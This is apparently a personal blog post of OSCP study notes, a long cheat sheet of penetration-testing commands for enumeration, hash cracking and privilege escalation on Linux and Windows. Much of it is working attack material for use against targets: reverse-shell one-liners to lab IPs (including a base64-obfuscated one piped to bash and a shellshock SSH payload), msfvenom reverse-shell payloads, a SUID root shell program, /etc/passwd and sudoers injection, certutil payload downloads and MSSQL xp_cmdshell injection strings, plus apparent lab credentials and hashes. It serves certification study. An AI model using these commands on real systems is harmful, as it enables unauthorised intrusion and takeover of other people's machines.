OSCP Exploit Notes

Sat, 04 Jan 2025 12:50:00 +0800

1.cewl

Detailed tutorial: Tool Guide — cewl_Tongdita’s Blog - CSDN

This refers to another researcher’s blog.

I’m only noting down the two commands I use most often:

cewl http://192.168.15.146/ -w dict.txt # Crawl the page and generate a dictionary in the current directory

cewl http://192.168.15.146/ -n -e # Crawl for email addresses

2.netdiscover

A network-scanning tool (Kali routing analysis).

It can quickly discover live hosts. Scanning an entire range with only nmap or masscan can be slow; discovering the hosts first makes the detailed scan a little faster.

netdiscover -i eth0 -r 192.168.1.0/24

3.gobuster

I find this a little better than dirb and Yujian. dirb is powerful, but it is too slow and can hang when the wordlist is too large.

The collector’s edition of Yujian I use can only brute-force specified directories. Although I can edit its built-in wordlist, I cannot append extensions such as .php or .html. In other words, it can only brute-force exactly what appears in the wordlist.

gobuster dir -u http://192.168.1.7:33447 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -k -t 50 -u http://doctors.htb/

4.foremost

Kali Linux provides a dedicated file-recovery tool called Foremost. It analyzes the headers, footers, and internal data structures of different file types, compares them against the data in an image file, and recovers the files.

foremost strcpy.exe

5.sudo

sudo -l : For privilege escalation, start with sudo -l to see which commands can be run as which users, then execute the appropriate one.

sudo -s : Enter a password to try to temporarily obtain a high-privilege root account.

6.SUID Privilege Escalation

Look for commands that can be run with sudo, then find the corresponding command for Linux privilege escalation.

find / -perm -u=s -type f 2>/dev/null

find / -group pinky 2>/dev/null # Check executable files for a particular group; this can turn up other useful things too

find / -user root -writable -type f -not -path “/proc/*” 2>/dev/null # Find ordinary files owned by root but writable, skip /proc, and suppress errors

find / -user root -writable -type d -not -path “/proc/*” 2>/dev/null # Find writable directories

find / -type f -perm 777 2>/dev/null

7.showmount

Use showmount to “display mount information for an NFS server.” See help for details.

showmount -e 192.168.1.9

8.enum4linux

A tool for enumerating SMB services on Windows and Linux systems. See help for details.

enum4linux 192.168.1.9

enum4linux -a -o 192.168.1.9

9.mount

Use this together with showmount to mount a remote directory from the target locally.

1

showmount -e 10.10.10.180

mkdir ./nfsshare

mount -t nfs 192.168.1.9:2049/var/nfsshare ./nfsshare

If an NFS share reports insufficient permissions, the usual fix is to access the target host, check the ID of the account with permission on that directory, and then create a user with the same ID locally, as shown below. An existing mounted share may be inaccessible because the root_squash flag is set. We can safely assume that if we have a user named vulnix with the same UID, we will be able to access it.

Create the user:

useradd -u “id” “username”

useradd -u 2008 vulnix

Mount it: (use this if the command above has problems) mount -t nfs 192.168.1.7:/home/vulnix ./vulnix -nolock

10.smbmap

A command-line tool for quickly scanning and inspecting SMB (Server Message Block) shares.

smbmap -H <target IP/hostname> -u <username> -p <password>

smbmap -H 192.168.1.9

smbmap -H 192.168.1.9 -r anonymous

1

smbmap -H 10.10.10.193 -u tlavel -p 'TfWScpg3aEEi' -r -q

11.smbclient

A client program for accessing shared resources. Use –help to see the detailed commands.

smbclient //192.168.1.9/secured -U divid

smbclient -N -L //10.10.10.134/

smbclient -N //10.10.10.134/Backups

1

smbclient -L //10.10.132.140 -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" --pw-nt-hash

1
2
3


recurse	ON			#Enable recursion; mget and mput will traverse directories recursively
prompt OFF			#Disable prompts so downloads no longer require y/n confirmation
mget *				#Download files in bulk; * is a wildcard that matches all filenames during recursive traversal

get xxxxx ; Download a file put xxxxx ; Upload a file mget * ; Download all files in the current directory tar c test.tar notes/ ; Archive all files under the notes directory

12.steghide

A steganography tool. Use –help to see the detailed commands you need.

steghide info plainsight.jpg

steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss

13.ffuf

A fuzzing tool. See help or find a blog post for details.

ffuf -u -c http://192.168.1.9/test.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/common.txt

ffuf -u http://10.10.10.84/browse.php?file=FUZZ -w /usr/share/dirb/wordlists/common.txt -c -fs 300-400

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “Host: FUZZ.sneakycorp.htb” –hh 185

ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “HOST: FUZZ.sneakycorp.htb” -fs 185

14.Privilege Escalation by Modifying a File

If sudo lets you execute a root-owned file, change it to the format below to escalate privileges directly.

#!/bin/bash bash -ip

15.knock

I’ve collected two port-knocking methods.

The image below shows an example port-knocking configuration.

knock 192.168.1.5 33 44 55

nmap -Pn –host-timeout 201 –max-retries 0 -p 159 192.168.1.5

16.Brute-forcing an id_rsa Private Key

I ran into this situation in a lab today, so I went and learned how to handle it.

cd /usr/share/john Use the ssh2john.py file in this directory to convert the format. ./ssh2john.py ~/id_rsa > ~/hash converts id_rsa into content that john can recognize. Start brute-forcing: john hash –wordlist=/usr/share/wordlists/rockyou.txt

john –format=md5crypt –wordlist=/usr/share/wordlists/rockyou.txt ./temp_passwd # Brute-force the hash as md5crypt, which is type 1

john –format=NT –wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

1
2
3
4
5
6
7


hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force

hashcat -m 1000 hashes.txt --show

# Identify the corresponding hash format
hashcat --help | grep -i "Kerberos"

17.newgrp

newgrp is a Linux command for switching user groups. It lets a user temporarily switch to another group so they can run commands or access specific files as that group.

newgrp

18.Building a File-Upload Environment

This creates an environment for uploading files, so you do not have to construct the request packet yourself. Just find the endpoint and upload through it.

1
2
3
4
5
6
7
8


<html>
<body>
<form method="post" action="http://192.168.1.5/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>
</body>
</html>

1

curl http://192.168.225.249:33414/file-upload -F "file=@/home/kali/hackthebox/ft.txt" -v -X POST -H "Content-Type: multipart/form-data" -F filename="/tmp/authorized_keys"

19.chkrootkit (Unconventional Privilege Escalation)

Details: Research on Exploiting and Preventing the Chkrootkit 0.49 Local Privilege-Escalation Vulnerability - Zhihu

Find the chkrootkit directory. It usually contains a README where you can check the version.

It is usually under /etc/chkrootkit.

Or, even better, use this command:

./chkrootkit -V If it is 0.49, you can escalate privileges using the method above.

The exact process is as follows.

Save the file as updata.c and download it to the /tmp directory on the target machine.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


#include <unistd.h>

void main(void)

{

system("chown root:root /tmp/update");

system("chmod 4755 /tmp/update");

setuid(0);

setgid(0);

execl("/bin/sh","sh",NULL);

}

gcc -o update update.c # Compile it

Once compilation finishes, enter the chkrootkit directory and run chkrootkit once: ./chkrootkit

You will find that /tmp/update now has root permissions.

Return to the tmp directory and run ./updata to obtain root privileges.

20.Checking the System Version and Kernel

uname -r

cat /etc/*-release

lsb_release -a

21.Dirty COW Linux Local Privilege-Escalation Vulnerability (CVE-2016-5195)

https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679

Affected versions:

Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1

22.Apport (Ubuntu 14.04/14.10/15.04) - Race-Condition Privilege-Escalation Vulnerability

Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation - Linux local Exploit

I never expected this privilege-escalation exploit to run. This type of exp is not common for me, so I assumed it would not be very useful. It does work, though, so I’m noting it down for now.

23.hexchat(IRC)

The default password for ngIRCd is ’ wealllikedebian ‘.

24.smtp-user-enum

SMTP user enumeration. See help for detailed usage instructions.

smtp-user-enum -M VRFY -U ./test.txt -t 192.168.1.10

25.shellshock

While working on a lab, I ran into a connection that dropped immediately after succeeding. I searched for ages but could not find a vulnerability tutorial for “executing a command during an SSH connection.” The only suggestion I found was to append “ls -al” to the connection command, but that did not work. I later found this vulnerability in a write-up.

bash - how can shellshock be exploited over SSH? - Unix & Linux Stack Exchange

‘() { :;}; command’ # Append this when connecting; command is the command to execute

ssh -i noob noob@192.168.1.5 -o PubkeyAcceptedKeyTypes=ssh-rsa “() { :;}; bash -c ’exec bash -i >& /dev/tcp/192.168.1.8/1111 <&1’”

26.apache2.conf Privilege Escalation

The basic idea is to add a user and group to apache2.conf. After Apache restarts, the configuration takes effect. Place a webshell in /var/www/html beforehand; after the restart, trigger the webshell to get a reverse shell with the permissions of the user you added.

Root cannot start it by default, so this is for escalating to another user. You need permission to restart Apache and modify apache2.conf.

#User ${APACHE_RUN_USER} #Group ${APACHE_RUN_GROUP}

User test

Group test

The /etc/apache2/sites-enabled directory contains configuration files.

27.netstat -tuln

Check which ports are in use. This command is simple and there is not much to it, but I’m noting it down anyway.

netstat -tuln

netstat -ano

28.dig

To enumerate subdomains, put the domain after dig and the DNS server after @.

dig hackers.blackhat.local @192.168.2.177

dig @10.10.10.123 friendzoneportal.red AXFR

dnsenum fabricorp.local –dnsserver 10.10.10.193

This command returns records for the entire DNS zone, including all A, AAAA, CNAME, and MX records, along with subdomain information.

1

dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>

29.Privilege Escalation with the Python cap_sys_ptrace+ep Capability

Command: getcap -r / 2>/dev/null |grep python

Output: /usr/bin/python2.7 = cap_sys_ptrace+ep

Script: https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py

Tutorial: https://www.cnblogs.com/zlgxzswjy/p/15185591.html

30. /etc/passwd Privilege Escalation

When /etc/passwd is writable, add a user entry and switch to it with su.

Generate a salted password. Password is the password to set, and salt is the salt to use.

perl -le ‘print crypt(“Password”,“salt”)’

Write it to /etc/passwd, then switch users with su.

echo “hack:ad7t5uIalqMws:0:0::/root:/bin/bash” » /etc/passwd

31.Cron-Job Privilege Escalation

cat /etc/crontab

Inspect the scheduled tasks and identify the important part.

1

# */5 * * * * root cd /var/www/html/ && sudo ./finally.sh

Column 1: Minute (0-59)
Column 2: Hour (0-23)
Column 3: Day of the month (1-31)
Column 4: Month (1-12)
Column 5: Day of the week (0-7, where both 0 and 7 represent Sunday)
Column 6: User that executes the command
Column 7: Command to execute

This means that every five minutes, root enters the /var/www/html/ directory and runs the finally.sh script with sudo privileges.

When a file executed by a scheduled task runs as root and an ordinary user can modify that file

chmod u+s /bin/bash

chmod u+s /bin/bash

/bin/bash -p # Escalate to the root group

Or:

cp /bin/bash /var/www/html/suidbash chmod u+s /var/www/html/suidbash

suidbash -p # Escalate to the root group

sudo -l

echo ‘www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh’ » /etc/sudoers Write sudo execution permission for the current account into sudoers, then add the u+s permission to the executable. Finally, run the file with sudo to escalate privileges, as shown below:

chmod u+s finally.sh echo ‘www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh’ » /etc/sudoers

sudo -l

Matching Defaults entries for www-data on sar: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User www-data may run the following commands on sar: (ALL) NOPASSWD: /var/www/html/finally.sh

echo ‘su root’ » finally.sh sudo /var/www/html/finally.sh

32.Bypassing Command-Injection Restrictions

Ways to Bypass Some Command-Injection Restrictions - Xianzhi Community

echo “YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi43NS85OTk5IDwmMSc=” | base64 -d | bash

echo Decode and execute

33.Reversing pyc with uncompyle6

This is all you need to reverse a pyc file: uncompyle6 1.pyc > 1.py

Online decompiler for pyc, pyo, python, and py files; currently supports Python 1.5 through 3.6 - Online Tool

34.Reverse Shells

bash -c ’exec bash -i >& /dev/tcp/192.168.2.75/9999 <&1’

python -c ‘import pty; pty.spawn("/bin/bash")’

nc -e /bin/bash 192.168.31.17 7777

35.john

echo ‘$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41’ »/tmp/1 john /tmp/1 –wordlist=/usr/share/wordlists/rockyou.txt

zip: zip2john passwd.zip > passwd.hash

john passwd.hash john passwd.hash –wordlist=/usr/share/wordlists/rockyou.txt

john –pot=new.pot hash.txt –wordlist=/usr/share/wordlists/rockyou.txt

36.Process Discovery with pspy

Release No more waiting on drain · DominicBreuker/pspy · GitHub

Upload and run it to inspect processes, then continue with privilege escalation.

37.Wordlists

Directory brute-forcing wordlists:

/usr/share/wordlists/src/dirbuster/directory-list-2.3-big.txt

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

1
2
3
4
5
6
7


https://www.cnblogs.com/shenlinken/p/10176682.html can manipulate wordlists, including deduplication and reverse sorting
sort -u duweixin.net.txt		#Remove duplicates
sort -r duweixin.net.txt		#Reverse sort

# This is very powerful
feroxbuster --url http://
https://rivers.chaitin.cn/blog/cqnmojp0lnec5jjug96g

38.smtp

Common commands:

Command Purpose

helo smtp Greet the server and test whether login worked

auth login Log in to a specific mailbox; the username and password are base64-encoded

mail from Enter the email sender

rcpt to Enter the email recipient

data Start composing the email

quit Exit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


# Greet the server
HELO mail.relia.com

# Start authentication
AUTH LOGIN
# Enter the Base64-encoded username (maildmz@relia.com)
bWFpbGRtekByZWxpYS5jb20=
# Enter the Base64-encoded password (DPuBT9tGCBrTbR)
RFB1QlQ5dEdjQnJUYlI=

MAIL FROM:<maildmz@relia.com>
RCPT TO:<RECIPIENT_EMAIL>
DATA
Subject: Test email
This is the email body

. # A dot on its own line terminates the message body

swaks --to jim@relia.com \
 --from maildmz@relia.com \
 --server 192.168.183.189 \
 --auth LOGIN \
 --auth-user maildmz@relia.com \
 --auth-password DPuBT9tGCBrTbR \
 --header "Subject: Test Email Subject" \
 --body "This is the email body content.\nMultiple lines can be included.\n" \
 --attach file.txt \
 --attach-type "text/plain" \
 --attach-name "custom_filename.txt"

# Prefix attachments with @
swaks -to jim@relia.com --from maildmz@relia.com -ap --attach @configuration.Library-ms --server 192.168.183.189 --auth LOGIN --auth-user maildmz@relia.com --auth-password DPuBT9tGCBrTbR --body "This is the email body content.\nMultiple lines can be included.\n" --header "Subject: Urgent Configuration Setup" --suppress-data

Here is a serious problem I ran into: I could not include an attachment.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


# Create the email format
cat > email.txt << 'EOL'
From: maildmz@relia.com
To: jim@relia.com
Subject: Urgent Configuration Setup
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=boundary

--boundary
Content-Type: text/plain

This is the email body content.

--boundary
Content-Type: application/ms-library
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="configuration.Library-ms"

EOL

# Base64-encode the file being sent and place it below
base64 configuration.Library-ms >> email.txt

# End
echo "
--boundary--" >> email.txt

Request packet up to this point
swaks -to jim@relia.com \
 --from maildmz@relia.com \
 --auth LOGIN \
 --auth-user maildmz@relia.com \
 --auth-password DPuBT9tGCBrTbR \
 --server 192.168.183.189 \
 --data "$(cat email.txt)"

Common response codes:

Code Meaning

220 SMTP is online and ready for operations

221 Close the SMTP service

250 The current operation completed successfully

334 Waiting for input; appears during user login

235 Authentication succeeded

535 Authentication failed

39.pop3

The POP3 protocol

The default POP3 port is 110. The POP3 protocol has two stages:

Authentication stage

The client enters a username and password for authentication, and the server returns OK or ERR.

Transaction stage

This stage supports basic email operations.

Common commands:

Command Purpose

user Enter the username

pass Enter the password

list List the number of messages and number them automatically

retr Retrieve a message by its number

dele Delete a message

quit Exit

40.nmap

nmap -p- –min-rate 10000 10.10.10.51

–script vuln

find /usr/share/nmap/scripts -name ‘wordpress’

nmap -T4 -Pn -sC –script http-wordpress-enum –script-args http-wordpress-enum.root="/webservices/wp/",http-wordpress-enum.search-limit=“all”,http-wordpress-enum.check-latest=“true” -p80 tartarsauce.htb

nmap -p- –min-rate 10000 -oA scans/nmap-alltcp 10.10.10.193

https://nmap.org/nsedoc/scripts/http-wordpress-enum.html

https://nosec.org/home/detail/2844.html # enumerate plugins

1
2
3
4


# Check host availability
nmap -sn 172.16.131.0/24
# Initial scan
nmap -Pn -p 21,22,23,80,443,445,3389 172.16.131.0/24

41.masscan

masscan -p 1-65535 10.10.10.58 –rate=100

42.nc

1
2
3
4
5


Server
cat aa.txt | nc -l -p 10000
nc -l -p 10000 < aa.txt
Client
nc -n 192.168.1.100 10000 > aa.txt

`plain Run this on the receiving end: (6666 can be any available port) nc -lvp 6666 > fileName Run this on the sending end: nc target_ip 6666 < fileName`

43.wpscan

wpscan –url http://10.10.10.88:80/webservices/wp -e ap –plugins-detection aggressive -t 50 # thoroughly enumerate plugins

44.sudo

sudo -u lets you specify a user and run an application that user is allowed to elevate with sudo.

45.locate

locate backuper

Similar to find, but more convenient.

46.bash

/bin/bash bash -p # spawns a new shell with the current privileges; this can be useful in scripts, for example with SUID

1
2
3
4
5
6
7
8
9



```c

#include &lt;unistd.h&gt;
void main() {
execl("/bin/bash", "bash", "-p", NULL);
}

```text

47.gcc

For version compatibility issues, use static linking. Some hosts are 32-bit, so add m32.

gcc -static -m32 -o 1 1.c

48.irc

IRC is chat software. Just launch it with HexChat; the rest of the setup is fairly straightforward.

49.SSH Configuration File

https://blog.csdn.net/qq_41765918/article/details/126837789

Public Key Filename

On the machine you want to trust, the public key file is named authorized_keys. If there are multiple machines, put each key on its own line. The filename is determined by the AuthorizedKeysFile parameter in /etc/ssh/sshd_config; the default is authorized_keys.

Public Key Path

Open /etc/ssh/sshd_config and find the AuthorizedKeysFile .ssh/authorized_keys setting, as shown below.

If the setting is uncommented, place the authorized_keys file in the configured directory. If it is still commented out, the file goes under ~/.ssh/.

Permissions

Directory structure: ~/.ssh/authorized_keys

Set the authorized_keys file permissions to 600, the .ssh directory permissions to 700, and the home directory permissions to 755.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


#Disable root login; enable this if logging in as root
PermitRootLogin yes

# Whether sshd checks permissions on the user's home directory and related files.
# This prevents problems caused by incorrect permissions on important files.
# For example, incorrect permissions on ~/.ssh/ may prevent login in some cases.
StrictModes no

# Whether users may log in with key pairs; applies only to version 2.
# User public keys are stored in .ssh/authorized_keys under the home directory.
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

# Disable password login once key-based login is configured.
PasswordAuthentication no

50.Multiple Shells

1
2


setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &
nohup setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &

51.Buffer Overflow (Brief Notes)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


info registers		#Crash information
disassemble				#Add an argument, such as disassemble main, to view the function's assembly
ldd								#Find dynamic libraries
ldd rop | grep libc		#rop is the target program
readelf						#Find function offsets
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"		#Find the system function offset
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"		#Find the /bin/sh string address
break *0x80484f8	#Set a breakpoint
x/20x $esp				#View stack data
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


Dump of assembler code for function vuln:
 0x080484f8 <+0>: push %ebp									#Push the caller's frame base onto the stack
 0x080484f9 <+1>: mov %esp,%ebp						#Set ebp to the current stack top
 0x080484fb <+3>: sub $0x38,%esp						#Subtract 56 bytes from the stack pointer to allocate space
 0x080484fe <+6>: sub $0x8,%esp						#Subtract 8 bytes from the stack pointer to allocate space
 0x08048501 <+9>: push 0x8(%ebp)						#Push the 8-byte argument onto the stack
 0x08048504 <+12>: lea -0x30(%ebp),%eax			#Subtract 48 bytes from ebp and store the address in eax
 0x08048507 <+15>: push %eax									#Push eax onto the stack
 0x08048508 <+16>: call 0x8048350 <strcpy@plt>	#Call strcpy
 0x0804850d <+21>: add $0x10,%esp
 0x08048510 <+24>: sub $0xc,%esp
 0x08048513 <+27>: push $0x80485dd
 0x08048518 <+32>: call 0x8048340 <printf@plt>
 0x0804851d <+37>: add $0x10,%esp
 0x08048520 <+40>: sub $0xc,%esp
 0x08048523 <+43>: lea -0x30(%ebp),%eax
 0x08048526 <+46>: push %eax
 0x08048527 <+47>: call 0x8048340 <printf@plt>
 0x0804852c <+52>: add $0x10,%esp
 0x0804852f <+55>: nop
 0x08048530 <+56>: leave
 0x08048531 <+57>: ret

52.Windows: Switch Users

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


runas /user:administrator cmd.exe

psexec -u app -p password powershell

$username = "app"
$password = ConvertTo-SecureString "password" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
# Method 1: Invoke-Command
Invoke-Command -ScriptBlock { COMMAND_TO_EXECUTE } -Credential $cred

# Method 2: Start-Process
Start-Process powershell -Credential $cred -ArgumentList "COMMAND_TO_EXECUTE"

53.msfvenom

On Windows, getting a reverse shell seems a bit more troublesome. Unlike Linux, it is not nearly as convenient to bounce a shell back.

That is when all kinds of msfvenom reverse-shell payloads come in handy, so I am keeping a record of them here.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


For non-MSF reverse-shell scripts, use an nc listener
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334

aspx
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=3333 -f aspx x> ./back.aspx

jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw > shell.jsp

dll
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll

asp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x> ./back.asp

php
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.14 LPORT=6666 -f raw > shell.php

Use payloads as the -l argument to list all payloads
Use --platform to specify the payload platform and --arch to specify the architecture
msfvenom -l payloads --platform windows --arch x64

54.Standard Windows Privilege Escalation

Juicy Potato Privilege Escalation

https://github.com/k4sth4/Juicy-Potato/blob/main/x64/jp.exe

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md # find the CLSID for the matching version

https://www.cnblogs.com/J0o1ey/p/15714555.html Detailed tutorial

Check whether the default RPC port is 135. If it has been changed (for example, to 111), use the juicypotato parameter -n 111 to specify the RPC port.
Run whoami /priv to check whether the current user privileges meet the requirements.

If SeImpersonate is enabled, use -t t with juicypotato.

If SeAssignPrimaryToken is enabled, use -t u with juicypotato.

If both are enabled, use -t *.

If neither is enabled, privilege escalation is not possible.

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer

1
2


echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.14 5555 > shell.bat
.\jp.exe -t t -p .\shell.bat -l 1118 -c "{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}"

55.impacket Parameters

1
2


smbserver.py kali . -smb2support #Enable SMB2
python smbpasswd.py tlavel@10.10.10.193

56.RPC Enumeration

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


rpcclient -U "" -N 10.10.10.248
rpcclient -U "tlavel%9VwzPigFmknx" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.10.193
rpcclient -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" -N -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.132.140

# View all users
enumdomusers
# View all groups
enumlsgroups
# Query which groups a user belongs to
queryusergroups
queryusergroups 0x46c

# The IT group can change passwords
# A misconfigured permission may allow password changes
setuserinfo christopher.lewis 23 'Admin!23'
setuserinfo2 christopher.lewis 23 'Admin!23'
setuserinfo3 christopher.lewis 23 'Admin!23'
This can connect through WinRM

57.windows download

1
2
3


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe
curl http://10.10.16.2:33333/frp/frpc.exe -o .\frpc.exe
certutil -urlcache -split -f http://10.10.16.2:33333/Fuse/shell.exe C:\test\shell.exe

58.git

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


git-dumper http://192.168.165.144/.git/ output_dir

# Stage new files in Git
git add shell.aspx
# Commit changes
git commit -m "add shell.aspx"
# Push changes
git push origin main

git show #View all commits

Stage all changes:
git add . # Stage all changes in the current directory
git add -A # Stage all changes, including deleted files

Stage specific files:
git add file1.txt file2.txt # Stage multiple specified files
git add *.txt # Stage all .txt files

Similar choices are available when committing:
git commit -m "message" # Commit all staged files
git commit file1.txt -m "message" # Commit a specific file
git commit -am "message" # Automatically stage and commit all tracked changes

Normal commit
git add .
git commit -m "test"
git push

Private-token authentication
git remote set-url origin https://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/your-group/your-project.git
git remote set-url origin http://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/skylark-rd/scratchpad

https://juejin.cn/post/7021023267028729887

59.ExifTool (Metadata Analysis)

1
2


ExifTool 1.pdf
ExifTool -a -u 1.pdf

60.Synchronize the Clock (Time)

https://gitlab.com/NTPsec/ntpsec/-/issues/292

https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


ntpdate -u htb.local && date
ntpdate -u htb.local -6 && date
ntpdate -u htb.local -4 && date

rpcclient -U "" -N htb.local
rpcdump> gettime

net time -S htb.local

rdate -n htb.local

#Synchronize
date -s "Sat Dec 7 05:14:11 2024"
date

61.Windows: Read the Microsoft Defender Exclusion List

1

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

62.OSCP Notes - Information Gathering

WHOIS listens on port 43.

1
2
3
4


whois 38.100.193.70 -h 192.168.50.251
whois megacorpone.com -h 192.168.50.251

whois megacorpone.com -h 192.168.131.251

Google: use the Google crawler for information gathering.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# Filter files with a .txt suffix
site:megacorpone.com filetype:txt
# Exclude files with an .htlm suffix
site:megacorpone.com -filetype:html

# The above is only a small sample; the command below can find much more information
https://www.exploit-db.com/google-hacking-database
https://dorksearch.com/

site:megacorpone.com intext:VP Of Legal

host

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com
host www.megacorpone.com
host idontexist.megacorpone.com

cat list.txt
www
ftp
mail
owa
proxy
router

for ip in $(cat list.txt); do host $ip.megacorpone.com; done
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"

DNS brute forcing

1
2
3
4
5
6
7
8
9


Use -d to specify the domain and -t to specify the enumeration type (a standard scan here)
dnsrecon -d megacorpone.com -t std

Brute-force attempt
-d specifies the domain
-D specifies the file containing candidate subdomain strings
-t specifies the enumeration type
brt means brute force
dnsrecon -d megacorpone.com -D ~/list.txt -t brt

1

dnsenum megacorpone.com

1
2


nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151

netcat

1
2
3
4
5
6
7
8


-w specifies the connection timeout in seconds
-z specifies zero-I/O mode, used for scanning without sending data
-u performs a UDP scan
-nv enables verbose mode
-nvv enables more verbose mode

nc -nvv -w 1 -z 192.168.50.152 3388-3390
nc -nv -u -z -w 1 192.168.50.149 120-123

Port scanning

1

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.50.151", $_)) "TCP port $_ is open"} 2>$null

63.MSSQL Injection

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


https://y4er.com/posts/mssql-injection-learn
https://y4er.com/posts/mssql-getshell/
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!

# Restore xp_cmdshell
;EXEC sp_configure 'show advanced options',1;//Allow advanced settings to be changed
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //Enable the xp_cmdshell extension
RECONFIGURE;--

# Test whether xp_cmdshell is enabled via blind injection
'; IF OBJECT_ID('xp_cmdshell') IS NOT NULL WAITFOR DELAY '0:0:5'; --
'; exec master..xp_cmdshell 'whoami'; WAITFOR DELAY '0:0:5'; --
'; IF (SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell') = 1 WAITFOR DELAY '0:0:5'; --
